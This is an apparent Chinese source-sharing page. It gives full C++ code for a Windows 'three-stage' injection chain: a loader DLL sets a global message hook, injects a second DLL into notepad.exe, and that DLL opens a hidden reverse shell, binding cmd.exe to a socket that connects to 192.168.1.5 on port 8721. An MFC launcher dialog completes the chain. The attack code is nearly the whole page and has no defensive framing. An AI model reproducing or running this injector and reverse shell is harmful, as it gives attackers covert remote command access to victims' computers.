加载模块核心源码
#include "Loader.h"
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved
)
{
hinst = hinstDLL;
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
//MessageBox(NULL,"DLL_PROCESS_ATTACH","",MB_OK);
//SetHook();
break;
case DLL_THREAD_ATTACH:
//MessageBox(NULL,"DLL_THREAD_ATTACH","",MB_OK);
break;
case DLL_THREAD_DETACH:
//MessageBox(NULL,"DLL_THREAD_DETACH","",MB_OK);
break;
case DLL_PROCESS_DETACH:
//MessageBox(NULL,"DLL_PROCESS_DETACH","",MB_OK);
//UnHook();
break;
default:
//MessageBox(NULL,"Default","",MB_OK);
break;
}
return TRUE;
}
void SetHook(HWND hWnd)
{
hHook = NULL;
m_hWnd = hWnd;
hHook = SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,hinst,0);
if (hHook == 0)
{
MessageBox(NULL,"Hook Unsuccess!","Warning",MB_OK|MB_ICONWARNING);
}
}
void UnHook()
{
BOOL ret = UnhookWindowsHookEx(hHook);
if (TRUE != ret)
{
MessageBox(NULL,"UnHook Unsuccess!","Warning",MB_OK|MB_ICONWARNING);
}
}
LRESULT CALLBACK GetMsgProc(int code,WPARAM wParam,LPARAM lParam)
{
CallNextHookEx(hHook,code,wParam,lParam);
static bool old = false;
char buffer[1000];
memset(buffer,0,1000);
GetModuleFileName(0,buffer,1000);
char *InsertName = _strupr(_strdup("notepad.exe"));
char *CurrentName = _strupr(_strdup(buffer));
if (strstr(CurrentName,InsertName) != NULL && old == false)
{
old = true;
HMODULE hDll = NULL;
hDll = LoadLibrary("E:\\Microsoft Visual Studio\\系统工程\\线程插入技术\\三级跳技术\\Insert\\Debug\\Insert.dll");
if (hDll == NULL)
{
MessageBox(NULL,"Insert failed!","",MB_OK|MB_ICONERROR);
}
typedef void (*RUN)(HWND);
RUN Run = (RUN)GetProcAddress(hDll,"Run");
Run(m_hWnd);
}
return 1;
return TRUE;
}
插入模块核心源码
#include "Insert.h"
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved
)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
ret = FALSE;
ret = TerminateThread(hThread,0);
if (ret == 0)
MessageBox(NULL,"Terminate Work Thread Failed!","Failed",MB_OK|MB_ICONERROR);
break;
default:
break;
}
return TRUE;
}
void Run(HWND hWnd)
{
hThread = NULL;
::SendMessage(hWnd,WM_CLOSE,0,0);
hThread = CreateThread(NULL,0,ThreadProc,NULL,0,NULL);
if (hThread == 0)
MessageBox(NULL,"Create Work Thread Failed!","Failed",MB_OK|MB_ICONERROR);
}
DWORD WINAPI ThreadProc(
LPVOID lpParameter
)
{
WSADATA wsa;
WSAStartup(MAKEWORD(2,0),&wsa);
SOCKET sock;
PROCESS_INFORMATION pi;
STARTUPINFO si;
sockaddr_in addr;
memset(&addr,0,sizeof(addr));
memset(&pi,0,sizeof(pi));
memset(&si,0,sizeof(si));
addr.sin_family = AF_INET;
addr.sin_port = htons(8721);
addr.sin_addr.S_un.S_addr = inet_addr("192.168.1.5");
sock = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
while(1)
{
sock = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
while (0 != connect(sock,(sockaddr*)&addr,sizeof(addr)))
{
//MessageBox(0,"Connect failed!","Report",MB_OK|MB_ICONERROR);
shutdown(sock,0);
Sleep(5000);
}
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.hStdInput = si.hStdError = si.hStdOutput = (void*)sock;
si.wShowWindow = SW_HIDE;
memset(&pi,0,sizeof(pi));
BOOL ret = CreateProcess(NULL,"cmd.exe",NULL,NULL,true,0,NULL,NULL,&si,&pi);
WaitForSingleObject(pi.hProcess,INFINITE);
closesocket(sock);
}
WSACleanup();
return 1;
}
执行源码
// WinExeDlg.cpp : implementation file
//
#include "stdafx.h"
#include "WinExe.h"
#include "WinExeDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CAboutDlg dialog used for App About
class CAboutDlg : public CDialog
{
public:
CAboutDlg();
// Dialog Data
//{{AFX_DATA(CAboutDlg)
enum { IDD = IDD_ABOUTBOX };
//}}AFX_DATA
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CAboutDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
//}}AFX_VIRTUAL
// Implementation
protected:
//{{AFX_MSG(CAboutDlg)
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
{
//{{AFX_DATA_INIT(CAboutDlg)
//}}AFX_DATA_INIT
}
void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CAboutDlg)
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
//{{AFX_MSG_MAP(CAboutDlg)
// No message handlers
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CWinExeDlg dialog
CWinExeDlg::CWinExeDlg(CWnd* pParent /*=NULL*/)
: CDialog(CWinExeDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CWinExeDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
h_Dll = NULL;
m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
}
void CWinExeDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CWinExeDlg)
// NOTE: the ClassWizard will add DDX and DDV calls here
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CWinExeDlg, CDialog)
//{{AFX_MSG_MAP(CWinExeDlg)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_BN_CLICKED(IDC_BTN_LOADER, OnBtnLoader)
ON_WM_CLOSE()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CWinExeDlg message handlers
BOOL CWinExeDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// Add "About..." menu item to system menu.
// IDM_ABOUTBOX must be in the system command range.
ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
ASSERT(IDM_ABOUTBOX < 0xF000);
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
CString strAboutMenu;
strAboutMenu.LoadString(IDS_ABOUTBOX);
if (!strAboutMenu.IsEmpty())
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
}
}
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE);// Set big icon
SetIcon(m_hIcon, FALSE);// Set small icon
h_Dll = LoadLibrary("./../Loader/Debug/Loader.dll");
if (h_Dll == 0)
{
MessageBox("Load Library Error");
return false;
}
return TRUE; // return TRUE unless you set the focus to a control
}
void CWinExeDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
{
CAboutDlg dlgAbout;
dlgAbout.DoModal();
}
else
{
CDialog::OnSysCommand(nID, lParam);
}
}
// If you add a minimize button to your dialog, you will need the code below
// to draw the icon. For MFC applications using the document/view model,
// this is automatically done for you by the framework.
void CWinExeDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // device context for painting
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialog::OnPaint();
}
}
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CWinExeDlg::OnQueryDragIcon()
{
return (HCURSOR) m_hIcon;
}
void CWinExeDlg::OnBtnLoader()
{
//ShellExecute(0,"open","about:blank",NULL,NULL,SW_HIDE);
//WinExec("C:\\Program Files\\Internet Explorer\\iexplore.exe about:blank",SW_HIDE);
typedef void (*LOAD)(HWND);
LOAD Proc = (LOAD)GetProcAddress(h_Dll,"SetHook");
if (Proc == 0)
{
MessageBox("Get Proc failed");
return;
}
Proc(m_hWnd);
}
void CWinExeDlg::OnClose()
{
typedef void (*UNLOAD)(void);
UNLOAD Proc = (UNLOAD)GetProcAddress(h_Dll,"UnHook");
if (Proc == 0)
{
MessageBox("Get Proc failed");
return;
}
Proc();
FreeLibrary(h_Dll);
CDialog::OnClose();
}
分享到:
相关推荐
[095]vc++下利用多线程机制实现串口的异步读和写.zip上位机开发VC串口学习资料源码下载[095]vc++下利用多线程机制实现串口的异步读和写.zip上位机开发VC串口学习资料源码下载[095]vc++下利用多线程机制实现串口的...
vc++远端线程注入插入任意api调用的方法
提供一套在VC++开发中需要使用到的创建线程和终止线程方法。
VC++环境下控制线程的运行技术MyThreadViewC++源代码程序小实例
每个进程被赋予它自己的虚拟地址空间,当进程中的一个线程正在运行时,该线程可以访问只属于它的进程的内存。属于其它进程的内存则是隐藏的,并不能被正在运行的线程访问。 为了能在两个进程之间进行通讯,由...
VC++源码—多线程实例 VC++源码—多线程实例
主程序调用loader.dll,运行loader.dll中的sethook安装一个WH_GETMESSAGE的全局钩子,发现notepad进程时,loader.dll在钩子函数中加载Insert.dll,insert.dll会做坏事...
VC++多线程编程的分析与简单实例
用VC++创建一个新线程
本论文以陕西省自然科学基金项目(2001年度)—软件逆向工程技术研究为背景,提出了一种软件再设计(redesign)方法,它以面向对象的分析和设计为指导,详述了Windows编程的一个应用领域:多线程通信技术。基于微软基础...
本文给大家介绍了用VC++5.0实现多线程的调度和处理。
VC++多线程与网络
vc++编的多线程扫描端口
提供了VC++多线程和进程编程的4个实例,很好的解释了线程同步控制量及其原理,实例的源代码可运行(是我从买的光盘中拷出来的),希望能给大家帮助
一个别人用vc++写的多线程程序,适合初学的人看,老鸟就不看了,本资源纯属赚分用,给初学者的
VC++简单的多线程聊天程序课程设计
VC++创建多线程 线程池 线程调度 线程同步
不好的地方需大家多多指教! 这个是多线程和单线程的例子!比较简单! *********************************************
VC++编写的多线程查找文件(功能增强版),很好的windows下文件查找功能软件。
基于vc++投信取信线程的创建 CreateThread()函数在调用进程的地址空间上创建一个线程,以执行指定的函数;返回值为所创建线程的句柄